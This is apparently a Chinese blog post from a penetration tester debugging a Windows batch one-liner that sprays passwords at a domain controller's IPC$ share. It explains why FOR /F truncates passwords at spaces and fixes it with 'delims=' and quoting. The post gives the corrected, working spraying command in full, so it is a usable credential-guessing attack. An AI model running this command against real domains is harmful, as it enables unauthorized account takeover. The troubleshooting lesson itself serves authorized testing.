密码喷洒工具调试实战:FOR循环与分隔符的陷阱

本文详细记录了在域渗透测试中使用密码喷洒脚本时遇到的意外问题,通过逐步排查发现FOR /F命令默认以空格分隔字符的特性会导致密码截断,并提供了使用delims=参数和引号处理的完整解决方案。

检查你的工具

在域渗透测试中,很多人会使用一行式密码喷洒脚本来检测域内用户是否使用了弱密码(如LetMeIn!或Winter2015)。该脚本从文件读取用户列表和密码列表(若担心账户锁定也可使用单个密码),尝试连接到域控制器的IPC共享。

像大多数一行式命令那样,在替换客户特定参数时很容易破坏整个命令结构。因此在针对整个域运行前,最好先用自己的测试账户验证脚本有效性。如果脚本能成功找到你提供的测试密码,说明语法正确,也能找到其他账户密码。

但在最近的一次测试中,这个方法失效了。完整性检查未能发现测试账户的密码——尽管该密码确实存在于测试文件中。接下来的排查过程成了关注细节、理解工作原理和手动阅读文档的宝贵一课。

故障排查第一步:清晰描述问题并精简测试变量

问题:有效凭证测试失败

完整命令如下:

1
@FOR /F %p in (password.txt) DO @FOR /F %n in (users.txt) DO @net use \\dc1\IPC$ %p /user:CORP\%n 1>NUL 2>&1 && echo [*] %n:%p && @net use /delete \\dc1\IPC$ > NUL

为增强可读性,格式化后为:

1
2
3
4
5
@FOR /F %p in (password.txt) DO
  @FOR /F %n in (users.txt) DO
    @net use \\dc1\IPC$ %p /user:CORP\%n 1>NUL 2>&1
    && echo [*] %n:%p
    && @net use /delete \\dc1\IPC$ > NUL

执行逻辑:

  1. 遍历password.txt每行内容赋值给%p
  2. 对每个%p值,遍历users.txt赋值给%n
  3. 尝试连接域控制器IPC$共享并忽略输出
  4. 若连接成功则输出有效用户名密码
  5. 执行断开操作

问题定位

从基础开始测试:尝试从测试文件读取单行并输出到stdout。这能验证文件读取是否正确——可能是行尾序列、字符编码问题,或是命令行文件名传递方式有误。

快速发现关键问题:只能获取行首第一个单词而非整行内容。查阅文档后发现:FOR /F命令会"将文本拆分为独立行,然后将每行解析为零个或多个标记",且默认以制表符和空格作为分隔符

解决方案

通过指定非密码字符的分隔符解决:

1
FOR /F "delims=+" %p in (password.txt) do @echo %p

但需要考虑密码中是否可能包含"+“字符?空字符呢?

1
FOR /F "delims=0" %p in (password.txt) do @echo %p

不可行。

尝试空字符串:

1
FOR /F "delims=" %p in (password.txt) do @echo %p

成功!

引号处理

当密码包含空格时,需要在命令行中使用引号包裹变量。测试证实:

  • 使用引号时工作正常
  • 未使用引号时执行失败

最终修复版本

新的健壮型密码喷洒一行命令:

1
@FOR /F "delims=" %p in (password.txt) DO @FOR /F "delims=" %n in (users.txt) DO @net use \\dc1\IPC$ "%p" /user:CORP\%n 1>NUL 2>&1 && echo [*] %n:%p && @net use /delete \\dc1\IPC$ > NUL

这个教训值得保存以备后续使用。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计